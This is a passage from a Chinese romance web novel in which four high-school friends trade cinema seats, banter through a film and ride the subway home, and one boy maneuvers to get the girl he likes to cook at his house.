江轸倒是没被吓到,目色镇定地看着她。
简书颐:“新来的租客确实很帅,美少女杀手。我看牵制就不必了,撮合一下倒是不错。”
他听完,仍旧淡定,不答反问:“物理复印了吗?”
简书颐微微一愣,表情变了:“你不是说只有数学吗?”
“我说了吗。”
江轸取出一会儿看电影要用的眼镜,慢条斯理地戴上,抬头时说:“我怎么不记得。”
“……”
再看简书颐时,隔着镜片,永远冷淡的那副表情变得特别的斯文败类,说难听点——
变!态!
简书颐咬牙:“你卑鄙!”
江轸替她说:“我无耻。”
简书颐不蒸馒头争口气,偏过头去:“我不要了。”
“随意。”他也大度。
安静了会儿。
买奶茶的两人还没回来。
江轸看手表,提醒:“三分钟入场。”
简书颐看他一眼,忍不住问:“你那还有几科?”
“酌情而定。”
“……”
简书颐翻了他一个白眼。
江轸不在乎她的白眼,他只要结果。
他继续提醒:“两分钟。”
简书颐抽走他指尖的票,把自己的扔给他:“你别反悔,星期一就给我。”
江轸看了一眼手里的票——
江轸、倪青葵、方立函、简书颐。
有点好,但不够好。
他把眼镜推深:“还有一个人。”
11. 遗憾11
简书颐只是丢下一句:“你们男生的事情我就不掺和了,有种自己解决。”
因为江轸不喝奶茶,倪青葵就没给他买。
入场后,两个女生去了一趟洗手间。
然而,神奇的事情发生了。
简书颐没跟方立函换票,但进去的时候发现,方立函已经自行坐在了最边上的位置,不知道是没心眼,还是懒得参与这场烽烟四起的战局。
简书颐拉着倪青葵往里头走。
可能腿太长放不下,方立函大佬坐姿,双腿敞着,即便这样,膝盖也快顶到前面座位了。
简书颐停在那,疑惑地看他:“裤.裆有地雷?”
“不好意思,”他笑一笑站起来,把折叠椅往前推,“请进。”
简书颐在方立函旁边坐下,隔着一个位置,冲那边的江轸讥笑:“wow,小人遇上君子了。”
江轸淡淡:“物理。”
简书颐不吱声了。
倪青葵坐下后,问她:“什么小人君子?”
简书颐:“你左边和你右边。”
倪青葵看看左边,是风平浪静的江轸。
看看右边——
简书颐往后靠:“的右边。”
倪青葵看到闲云野鹤的方立函。
倪青葵凑近她耳朵,小声:“你还是这么看不惯江轸啊?”
简书颐:“看不惯心机男不是很正常?”
倪青葵笑了:“心机男?”
说到这,她瞄了一眼江轸。
小的时候,因为倪青葵很调皮,妈妈就常常用江轸来提点她,说人家小江多么乖,多么听话,多么不要人操心。
比如眼下这种情况,他就不吵不闹的,已经戴好眼镜,一本正经的姿态十足,看起来是准备认真观影并且影片结束就可以立马交出一万字影评。清正端方的好学生样子,自然备受家长喜爱。
倪青葵又背过身,完全冲着简书颐那边:“他就是个书呆子。”
简书颐:“你们家书呆子的城府都深到对跖点了,你打算什么时候长脑子?”
倪青葵摸摸自己的脑袋:“对跖点是什么东西。”
“地球另一端。”
倪青葵又看了一眼江轸。
他静静回视,眼神展现出单细胞生物的纯良。
不知道这两个人的内斗何日结束,倪青葵心中一叹,不管了,她探着脑袋看右边的右边,隔空戳了戳方立函手边的草莓奶昔,这是刚才是她给他推荐的,她小声问:“方立函,你那杯好不好喝?”
方立函大方地端起奶茶,隔着中间的简书颐递过来。虽然吸管插在里面,但他说:“我没喝,给你?”
倪青葵高兴起来,心里说好呀好呀,手刚伸出要接,左侧耳边传来幽幽一声好言相劝——“糖尿病。”
倪青葵偏头看江轸:“我还小呢。”
江轸继续:“也会得。”
“……”
倪青葵悬在半空的手顿了顿,她看了看自己手边这杯,心里也觉得摄入太多糖分不好,推辞道:“不要了,你喝吧。”
方立函:“想喝就喝,我不是很喜欢草莓——”
“烦不烦。”简书颐打断,抢走一直横在她面前推来推去的奶茶,吸了一大口。
余下三人都没声了。
静了不过五秒,倪青葵又往方立函那边看:“方立函,你那边视角怎么——”
她话音未落,耳边又是一声:“倪青葵。”
身侧的声音倏然变得很近,低沉模糊,还带点喑哑的脆弱。
倪青葵只能回眸看江轸,“怎么了?”
江轸淡声,“头疼。”
他往她这边偏斜,手指支着太阳穴,看起来像靠在她肩上,实际距离也确实很靠近了。
就差一点点。
于是倪青葵眸子一低,就看到他近在咫尺的眼睫,可谓是弱柳扶风。
“你又哪里不舒服?”
江轸:“吵闹。”
是在说她吗?
倪青葵连忙轻声道歉:“哦,不好意思。”
她四周望望,明明好多人都在说话,荧幕上还在放广告,于是她又辩驳道:“可是电影还没开始,讲两句没什么吧?”
他闭上眼睛:“疼。”
“……”
倪青葵终于不吭声了。
江轸扶着额,一动不动。
过了会儿,倪青葵好心问他:“你要吃药吗?”
“没有只能算了,忍一忍。”
他仍然闭着眼睛,语气虚弱。
她开始翻包:“有的,我带了,布洛芬。”
倪青葵拿出一板药,再抬头看他。
不过两三秒的功夫,江轸已然不声不响地坐正身子,肩背笔直,体魄强健的模样看起来可以立刻执行20公里拉练。
药递过去。
长指挡飞。
“好了。”
倪青葵看明白了,笑说,“这么大个人还怕吃药啊?”
她在他面前收紧手心,做了个把他弱点手到擒来的握拳手势:“谁叫你当时逼我吃药,现在知道多痛苦了吧。”
江轸偏眸瞧了瞧她,不答反问,“身体不舒服吗?为什么带药?”
倪青葵说:“我怕痛经,不过这次没有。”
他瞧一眼她手边的奶茶,语气冷肃:“冰块喝多了还是针扎少了?”
“血口喷人!”倪青葵把奶茶端过来,“热的好不好?”
江轸用手指轻碰一下检查。
的确是热的。
她笑了,“你是我爸爸安排来监督我的吗?”
他目无表情说:“怕你倒下,笔记又要我抄。”
倪青葵意味深长地呀了一声:“早说你这么不乐意,我叫方立函帮我抄就是了。”
倪青葵话音刚落,便见江轸举起了手。
他用右手握住左手手腕,动了动腕骨,像在活动腕关节,即将进行下一步的大动作。
倪青葵一脸惊喜。
这是胜负欲上来了,要干架吗?
果然,男人总听不得其他同性的名字排在自己前面!
她的精辟理论即将得到事实验证!
倪青葵笑得邪恶:“啊嘞啊嘞,雄性力量大爆发?”
江轸瞥她一眼,“什么?”
倪青葵:“不过,抄笔记这种吃力不讨好的活也要抢着干吗?!”
江轸一脸不懂她在说什么:“表带松了。”
“……”
他调整好后,放下手。
倪青葵看着他木讷的一张脸,不想笑了,往后一靠:“果然是无聊的书呆子。”
安静了片刻。
江轸平静出声,眉目保持着一贯的沉冷,“书呆子帮你抄。”
倪青葵看看他。
他说:“不要麻烦别的同学了。”
倪青葵懒懒的:“不会啊,我跟他关系很铁的,他又不会计较。”
江轸又不动声色地抬起手,揉手腕。
倪青葵看到,又转过来,惊喜地笑嘻嘻:“啊嘞啊嘞,这次是要打架?”
他淡淡:“没扣好。”
“……”
倪青葵倚下。
最后,江轸说,“自己的笔记自己做。”
在灯光熄灭的前一刻,他转向倪青葵,认真说道:“不要再生病了。”
倪青葵:“开个玩笑而已,别那么古板。”
这的确是个玩笑。
因为倪青葵是不可能让方立函帮她抄笔记的。
但是江轸可以。
与这两个人的熟悉程度不一致,相处界限自然也不同。
江轸的眼神还停留在她身上,见他一直偏眸看着自己,倪青葵也回视。
他低了低声,对她说:“我要单独的报答。”
倪青葵说:“垃圾食品还是40分的作业,你选一个?”
沉吟半晌。
虽然江轸总是一副一丝不苟的面瘫脸,但倪青葵偶尔还是能察觉到他情绪的微弱转变,比如思考了这个问题之后再出声,他的语气都变得有气无力了:“不要特别辣,不要特别油,可以?”
怪可怜的。
黑暗里,倪青葵笑得眼弯,轻声说:“这样吧,你想一个奖励,我帮你实现。”
江轸缜密地思量过后,出其不意地说了句:“你下厨。”
倪青葵心下觉得诡异,不敢置信地眨眨眼:“什么时候?”
“待定。”
“去你家?”
“嗯。”
倪青葵微笑:“好啊,你不怕我把你毒死我就去。”
江轸波澜不惊,看她:“我百毒不侵。”
-
电影结束,退场,交流感言时间。
倪青葵:“这电影怎——”
“烂。”简书颐经过她,走到前面去。
倪青葵笑容僵硬:“……么样?”
方立函很和气,跟倪青葵说:“我觉得挺好看的。”
倪青葵正要笑:“有眼——”
简书颐睨他:“你刚才睡了半小时,看来梦做得很美?”
倪青葵笑不出来:“……光。”
方立函好笑地看着前面背影:“闭目养神而已。”
简书颐:“那你靠我身上是在揩油吗?”
他愣了下,仍然脸不红心不跳的:“不把我推开是在享受吗?”
简书颐一向高速运转的CPU竟发生两秒钟卡顿,很快冷嗖嗖还击:“是我良心未泯。”
江轸陷入沉思。
他还是过于纯良了,刚才犯困的时候应该闭目养神的。
半个小时都短了,这片子漏看一秒都不损失,开场三分钟他就把眼镜摘了。
倪青葵问走在最后的江轸:“电影怎么样?”
对上倪青葵采访一般的眼神,江轸需要判断给出什么样的评价会令她感到舒适,又不让自己的良心受到谴责,最后选择了客观层面上讲,绝不会出错的回答,“是一部电影。”
倪青葵对着他胸口捶捶捶,“呆子!重说!”
江轸头脑风暴后,重新回答:“是一部爱情电影。”
倪青葵挥出霹雳无敌旋风拳,捶捶捶捶捶。
“呆呆呆呆呆!”
江轸沉默低头,看着她凿过来的手。
看三位同学之间这个紧张的局势,倪青葵也不敢邀请他们一起吃饭了。
她和简书颐是地铁过来的,自然也地铁回去。
江轸跟上。
倪青葵问方立函:“你要和我们一起吗?”
方立函好像对什么都无所谓,没有强烈的陪同意愿,但是也行的态度:“可以。”
他摸了摸兜:“地铁是不是要硬币?”
倪青葵:“时代进步了,扫码就行。”
她正要揶揄,你是多久没公共交通出行了?就听见方立函问道:“扫哪个码?微信可以?”
“……”
静了两秒,倪青葵才反应过来什么,和简书颐异口同声:“你没坐过地铁?!”
方立函说:“没,正好感受一下。”
简书颐回头看向倪青葵,嘴角撑起微笑,齿缝中蹦出几个字:“给我把刀。”
倪青葵也微笑,齿缝中蹦出音节:“这里人多,不方便行凶,冷静。”
简书颐微笑:“我抹脖子。”
江轸过去,协助他找到软件。
(此乃纯天然、无添加的热心市民行为。)
方立函又看了会儿地形图,“三中是哪一站?”
诧异过后,简书颐和倪青葵异口同声:“你回学校?!”
简书颐表情严厉,俨然不允许比她还卷的人出现,否则她也会立即跟随。
方立函说:“不是,我住学校附近。”
简书颐眉心松开。
倪青葵说:“那不一定在三中下,这里站很多的,出口也多,你具体住哪里我定位一下。”
方立函:“万豪。”
又静了几秒,两人异口同声:“你住酒店?!”
“对。”
两个女孩还在诧异,面面相觑。
江轸已经帮方立函调出了出行码,递还手机,“2号线转11号线。”
方立函接过:“谢了。”
江轸关爱同学:“换乘需要教吗?”
方立函轻怔,对上他谈不上好心、反倒有着轻微敌意的表情,气笑一般说:“我只是没坐过,我不是弱智。”
江轸如释重负地点头:“那就好。”
这一站人不算多。
进车厢之后,门关上,还剩两个空座。
倪青葵占了一个。
方立函看起来不想战火烧身,找地方站着,避开了他们。
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江轸也不争了,跟简书颐说:“坐。”
简书颐扫了眼位置,“你坐吧,我有话跟他说。”
男生个子很高,那几个拉环对他来说位置都太低了,方立函就用手掌松松地搭着上面那根杆。
他长相极品,穿一身冷酷的黑色,站在那很有型,一半年轻女孩望过去,另一半视线追随同为极品的江轸。
简书颐过去:“地铁怎么样?”
“还行,有点逼仄。”
今天的车厢已经算空荡了,她语调平平:“你住的酒店有五百平吧?”
他低头看她,无声一笑。
简书颐靠在墙面上,平视过去是男生的胸口。她低声说:“你是不是从小锦衣玉食,饭来张口,衣来伸手?”
他垂眸,“为什么这么说?”
她说:“想要的东西不用争取,呼风唤雨,应有尽有。一旦出现只有一个名额的情况,也就不知道要怎么争。”
“如果你说的这个东西是指人的话,还是不一样的。”方立函思考着说,“这个人的想法是个很重要的参考因素,一般情况,我喜欢顺其自然。”
简书颐挑眉:“难以理解,但我希望你支棱起来。”
他打量她片刻,说:“不过,你确定你的前提条件是对的吗?”
她怔了下,感觉脑回路都被打乱了,片刻后,皱眉道:“你别告诉我你只拿她当朋友。”
作为人类学研究专家,简书颐也迟疑了。
那江轸是在干嘛?
方立函笑眼弯弯:“话都让你说了。”
简书颐讨厌的人群有:丑男、草包男、装货,以及骚浪贱男。
现在得多加一类:让她琢磨不透的男人。
她没多想了:“那你就扑腾一下吧。”
他饶有兴趣:“你支持我?”
“我喜欢看戏。”简书颐说,“而且我不太欣赏懒散的人,就像我不喜欢听男人声情并茂地唱自我感动的舔狗之歌,我追求真实有效的进攻。”
他不置可否地勾出一点嘴角弧度,轻描淡写的语气:“我也不太理解很要强的人,好像每天都在很紧绷地活着,看着都觉得累。”
简书颐恍惚了下,抬起脸看他,脖子要折到比较吃力的角度才能直视他的眼睛,她几乎从这个动作里,直观地感受到仰人鼻息这个词的字面意思,但她唾弃这样一闪而过的念头,因为即便这样的视角,在他自己都察觉不到的隐约傲慢里,也不该让她觉得低人一等。
“你最好不是在说我。”
方立函大概习惯了用他英俊迷人的笑容蒙混过很多复杂场面,比如现在,当他无以应对那双倔强的眼睛,就作弊似的歪着脑袋笑起来,“我说你什么,是泛指好吗?”
简书颐:“你知道上一站是哪里吗?”
方立函看了眼指示牌,“没听说过。”
她说:“是我生活了十年的家。”
方立函拿出手机搜了一下。
地点为江城的城中村,搜索引擎图片一张张加载出来。
混乱,泥泞,拥挤,昏暗。楼与楼之间距离极狭,低头是烟头、污垢和不明液体,抬头是永远见不到太阳,只有错乱电线的天空。
跟普通的农村并不一样,它是在一片繁华里嵌入的混乱,是被遗弃的地带,有着明与暗的强烈对比。对比出漂泊人生的无可奈何。
简书颐绕过他时被握了一下胳膊。
少有的局促敞露,在这样的惊慌之中一闪而过,他收起那副总让她觉得虚伪的笑容,诚恳说:“抱歉,我真的没有针对你,别往心里去。”
简书颐挣开他的手:“没生气,只是告诉你有这样的地方,不用同情心泛滥。”
这个站下去很多人,简书颐坐到倪青葵旁边,江轸就在倪青葵的右边。
虽然已经有了空位,但方立函还站在那没动。
倪青葵已经围观很久了,也听不见两个人在说什么,但聊到后面,见简书颐的脸色有点僵硬,倪青葵小声地问:“小情侣吵架?”
“吵你个头。”
倪青葵嘻嘻一笑,“居然不是解释‘小情侣’?你太让我失望了!”
简书颐置若罔闻道:“帮你考察过了,不食人间烟火,好在比较有礼貌,浑身上下散发出有钱人的豁达。”
她的思索没有停止,顿了顿,又自言自语一般出声:“不过,到这种程度的话,不食人间烟火可能也是好事。连优越感都没了,或者说,有也是无心的。”
倪青葵脑袋歪到左边,看看她:“你在说什么?考察什么?”
简书颐忽又说道:“江轸,我可是跟着你判断的,你确定你的前提条件是对的吗?”
倪青葵又问:“你在说什么?”
江轸在另一边架着腿闭目养神,闻言,微微掀起眼皮,他并不惊诧,也不思考,只是沉沉出声:“我不管对错。”
“……”
简书颐愣在他的话里半晌,脑回路彻底变成一团乱麻。
倪青葵脑袋歪到右边看看江轸:“你在说什么?”
简书颐从对面玻璃里看到他好整以暇的样子,微垂的从容眉眼里透露出“宁可错杀,不可放过”的狡诈。
手指轻轻拨正表带,慢条斯理的姿态又显现出杀人如麻的狠毒!
简书颐冷冷一声:“阴险。”
江轸:“谬赞了。”
倪青葵的脑容量要过载了:“你们在说什么!?!”
二人齐声:“物理。”
倪青葵似信非信,左看看,右看看。
地铁报站,江轸家到了。
江轸看了眼手表,他父母八点半到家。
还有两个小时。
他说:“择日不如撞日,现在。”
倪青葵头已晕:“现在什么啊?”
“做饭。”他站起来。
终于有一句她听得懂的话了!
“也好,正好今天有空。”留给她犹豫的时间不多,倪青葵速速跟上。
身后简书颐瞠目结舌:“倪青葵?你要跟他回家?”
倪青葵蹦出地铁门,背过身冲她伸出五指,笑得灿烂:“来不及解释啦,我要下车!”
她笑着伸手,嘴里喊着“噔噔噔”的撤退口号,往后退去。
江轸回头看着简书颐,虽然只是淡淡微笑,但他那点不轻易翘起的嘴角,已然泄露出坐拥江山的洋洋得意,“再见。”